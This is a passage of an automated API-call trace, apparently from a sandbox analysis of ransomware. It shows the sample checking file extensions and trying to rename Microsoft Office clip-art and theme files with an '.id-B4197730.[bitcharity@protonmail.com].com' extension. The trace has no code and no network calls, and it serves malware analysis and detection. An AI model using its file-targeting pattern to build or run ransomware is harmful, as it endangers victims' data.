lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.852] lstrlenW (lpString=".bz2") returned 4 [0262.852] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.852] lstrlenW (lpString=".7z") returned 3 [0262.852] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.852] lstrlenW (lpString=".dbf") returned 4 [0262.852] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.852] lstrlenW (lpString=".1cd") returned 4 [0262.852] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.852] lstrlenW (lpString=".jpg") returned 4 [0262.852] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.853] lstrlenW (lpString=".doc") returned 4 [0262.853] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.853] lstrlenW (lpString=".docx") returned 5 [0262.853] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.853] lstrlenW (lpString=".pdf") returned 4 [0262.853] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString=".xls") returned 4 [0262.853] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString=".xlsx") returned 5 [0262.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.853] lstrlenW (lpString=".ppt") returned 4 [0262.853] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.853] lstrlenW (lpString=".zip") returned 4 [0262.853] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString=".rar") returned 4 [0262.853] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.853] lstrlenW (lpString=".bz2") returned 4 [0262.853] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.853] lstrlenW (lpString=".7z") returned 3 [0262.853] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.853] lstrlenW (lpString=".dbf") returned 4 [0262.854] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.854] lstrlenW (lpString=".1cd") returned 4 [0262.854] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.854] lstrlenW (lpString=".jpg") returned 4 [0262.854] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.854] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.854] lstrlenW (lpString="WB01300_.GIF") returned 12 [0262.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.855] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=592) returned 1 [0262.855] CloseHandle (hObject=0x1168) returned 1 [0262.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif")) returned 0x220 [0262.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.856] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.856] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.856] CloseHandle (hObject=0x1168) returned 1 [0262.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.856] lstrlenW (lpString=".doc") returned 4 [0262.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.856] lstrlenW (lpString=".docx") returned 5 [0262.857] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.857] lstrlenW (lpString=".pdf") returned 4 [0262.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.857] lstrlenW (lpString=".xls") returned 4 [0262.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.857] lstrlenW (lpString=".xlsx") returned 5 [0262.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.857] lstrlenW (lpString=".ppt") returned 4 [0262.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.857] lstrlenW (lpString=".zip") returned 4 [0262.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.857] lstrlenW (lpString=".rar") returned 4 [0262.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.857] lstrlenW (lpString=".bz2") returned 4 [0262.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.857] lstrlenW (lpString=".7z") returned 3 [0262.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.857] lstrlenW (lpString=".dbf") returned 4 [0262.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.858] lstrlenW (lpString=".1cd") returned 4 [0262.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.858] lstrlenW (lpString=".jpg") returned 4 [0262.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.858] lstrlenW (lpString=".doc") returned 4 [0262.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.858] lstrlenW (lpString=".docx") returned 5 [0262.858] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.858] lstrlenW (lpString=".pdf") returned 4 [0262.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.858] lstrlenW (lpString=".xls") returned 4 [0262.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.858] lstrlenW (lpString=".xlsx") returned 5 [0262.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.858] lstrlenW (lpString=".ppt") returned 4 [0262.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.858] lstrlenW (lpString=".zip") returned 4 [0262.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.859] lstrlenW (lpString=".rar") returned 4 [0262.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.859] lstrlenW (lpString=".bz2") returned 4 [0262.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.859] lstrlenW (lpString=".7z") returned 3 [0262.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.859] lstrlenW (lpString=".dbf") returned 4 [0262.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.859] lstrlenW (lpString=".1cd") returned 4 [0262.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF") returned 68 [0262.859] lstrlenW (lpString=".jpg") returned 4 [0262.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.860] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.860] lstrlenW (lpString="WB01301_.GIF") returned 12 [0262.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.861] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=681) returned 1 [0262.861] CloseHandle (hObject=0x1168) returned 1 [0262.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif")) returned 0x220 [0262.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.862] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.862] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.862] CloseHandle (hObject=0x1168) returned 1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.862] lstrlenW (lpString=".doc") returned 4 [0262.862] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.862] lstrlenW (lpString=".docx") returned 5 [0262.862] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.863] lstrlenW (lpString=".pdf") returned 4 [0262.863] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.863] lstrlenW (lpString=".xls") returned 4 [0262.863] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.863] lstrlenW (lpString=".xlsx") returned 5 [0262.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.863] lstrlenW (lpString=".ppt") returned 4 [0262.863] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.863] lstrlenW (lpString=".zip") returned 4 [0262.863] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.863] lstrlenW (lpString=".rar") returned 4 [0262.863] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.863] lstrlenW (lpString=".bz2") returned 4 [0262.863] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.863] lstrlenW (lpString=".7z") returned 3 [0262.863] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.863] lstrlenW (lpString=".dbf") returned 4 [0262.863] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.864] lstrlenW (lpString=".1cd") returned 4 [0262.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.864] lstrlenW (lpString=".jpg") returned 4 [0262.864] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.864] lstrlenW (lpString=".doc") returned 4 [0262.864] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.864] lstrlenW (lpString=".docx") returned 5 [0262.864] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.864] lstrlenW (lpString=".pdf") returned 4 [0262.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.864] lstrlenW (lpString=".xls") returned 4 [0262.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.864] lstrlenW (lpString=".xlsx") returned 5 [0262.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.864] lstrlenW (lpString=".ppt") returned 4 [0262.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.864] lstrlenW (lpString=".zip") returned 4 [0262.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.864] lstrlenW (lpString=".rar") returned 4 [0262.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.865] lstrlenW (lpString=".bz2") returned 4 [0262.865] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.865] lstrlenW (lpString=".7z") returned 3 [0262.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.865] lstrlenW (lpString=".dbf") returned 4 [0262.865] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.865] lstrlenW (lpString=".1cd") returned 4 [0262.865] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF") returned 68 [0262.865] lstrlenW (lpString=".jpg") returned 4 [0262.865] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.865] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.865] lstrlenW (lpString="WB01304G.GIF") returned 12 [0262.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.867] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=8310) returned 1 [0262.867] CloseHandle (hObject=0x1168) returned 1 [0262.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif")) returned 0x220 [0262.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.868] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.868] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.868] CloseHandle (hObject=0x1168) returned 1 [0262.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF") returned 68 [0262.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF") returned 68 [0262.869] lstrlenW (lpString=".doc") returned 4 [0262.869] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.869] lstrlenW (lpString=".docx") returned 5 [0262.869] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0262.869] lstrlenW (lpString=".pdf") returned 4 [0262.869] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.869] lstrlenW (lpString=".xls") returned 4 [0262.869] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.869] lstrlenW (lpString=".xlsx") returned 5 [0262.869] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0262.869] lstrlenW (lpString=".ppt") returned 4 [0262.869] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF") returned 68 [0262.869] lstrlenW (lpString=".zip") returned 4 [0262.869] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.869] lstrlenW (lpString=".rar") returned 4 [0262.869] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.869] lstrlenW (lpString=".bz2") returned 4 [0262.869] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.870] lstrlenW (lpString=".7z") returned 3 [0262.870] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF") returned 68 [0262.870] lstrlenW (lpString=".dbf") returned 4 [0262.870] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.871] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.871] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.871] CloseHandle (hObject=0x1168) returned 1 [0262.873] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.873] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.873] CloseHandle (hObject=0x1168) returned 1 [0262.874] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.874] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.877] CloseHandle (hObject=0x1168) returned 1 [0262.879] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.879] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.879] CloseHandle (hObject=0x1168) returned 1 [0263.216] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.217] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.217] CloseHandle (hObject=0x1160) returned 1 [0263.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.219] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.219] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.219] CloseHandle (hObject=0x1160) returned 1 [0263.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 